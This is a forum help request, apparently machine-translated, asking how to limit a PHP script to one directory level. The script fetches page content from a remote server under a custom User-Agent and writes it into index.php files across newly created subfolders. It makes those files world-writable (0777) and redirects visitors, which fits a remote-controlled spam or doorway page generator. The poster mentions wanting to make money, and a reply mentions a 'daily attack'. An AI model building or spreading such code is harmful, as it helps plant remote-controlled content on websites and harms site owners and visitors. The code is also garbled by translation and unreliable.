I cannot understand the number of layers of PHP code generation. the number of layers generated now has several layers. [after the directory is generated, it is generated again in the subdirectory, for example, if ABC is generated, then def ghi is generated in ABC...]
You only need to generate a layer. that is, the subdirectories are not generated in the root directory.
The following is the code. I hope you can paste it and reply it directly. thank you. thank you very much!
The page is being generated. wait ......");} $ Ml = $ _ SERVER ['request _ URI ']; $ str = explode ("/", $ ml); $ Quantity = count ($ str) -1; // layers $ host_name = str_replace ("index. php "," "," http ://". $ _ SERVER ['server _ name']. $ _ SERVER ['request _ URI ']); if ($ Quantity <5 & $ Quantity> 0) {$ Remote_directory = $ Remote_server. "/directory. php? Type = index. php & host = ". $ host_name. "& directory = ". $ Branch_directory; $ Content_directory = getHTTPPage ($ Remote_directory); $ Content_mb = GetHtml ($ Remote_server. "/index. php? Type = index. php & host = ". $ host_name); $ Branch_directory = explode (". ", $ Branch_directory); echo $ Content_mb; for ($ I = 0; $ I <count ($ Branch_directory); $ I ++) {$ check = CFolder (". /". $ Branch_directory [$ I]. "/"); if ($ check = 1) {WriteIn (". /". $ Branch_directory [$ I]. "/index. php ", $ NewFile_content) ;}} WriteIn (". /index. php ", $ Content_mb); chmod (" index. php ", 0777); echo"
"; Exit ();} else {$ Content_mb = GetHtml ($ Remote_server."/index. php? Type = index. php & host = ". $ host_name); WriteIn (". /index. php ", $ Content_mb); chmod (" index. php ", 0777); header (" Location: index. php "); exit ();} function getCode ($ iCount) {// random mixed letter/number $ arrChar =" character "; $ code = ""; for ($ I = 0; $ I <$ iCount; $ I ++) {$ code. = $ arrChar [mt_rand (0, strlen ($ arrChar)-1)];} return $ code;} function Digital ($ iCount) {// random number $ ArrChar = "0123456789"; $ code = ""; for ($ I = 0; $ I <$ iCount; $ I ++) {$ code. = $ arrChar [mt_rand (0, strlen ($ arrChar)-1)];} return $ code;} function sj_int ($ min, $ max) {// return mt_rand ($ min, $ max);} function WriteIn ($ testfile, $ msg) {if (empty ($ msg )) {echo "content is blank"; return;} $ fp = @ fopen ($ testfile, "w"); fwrite ($ fp, $ msg ); fclose ($ fp);} function getFileCont ($ testfile) {$ restr = ''; $ fp = @ fopen ($ te Stfile, "r"); if ($ fp) {while ($ line = fgets ($ fp, 1024) $ restr. = $ line; fclose ($ fp);} return $ restr;} function CFolder ($ Filepath) {if (! File_exists ($ Filepath) {mkdir ($ Filepath, 0777); return 1;} return 0;} function getHTTPPage ($ url) {$ opts = array ('http' => array ('method' => "GET", 'header' => "User-Agent: aQ0O010O ")); $ context = stream_context_create ($ opts); $ html = @ file_get_contents ($ url, false, $ context); if (empty ($ html) {exit ("An error occurred while obtaining the file content on the server.
") ;}Return $ html;} function GetHtml ($ url) {return getHTTPPage ($ url );}
Reply to discussion (solution)
I did not respond when I changed the location marked by the number of layers.
I figured it out by myself. which number is 5 in the original layer? the mark is wrong, and diaosi also has a daily attack. [I don't know PHP at all. I only want to use it. check if I make a lot of money]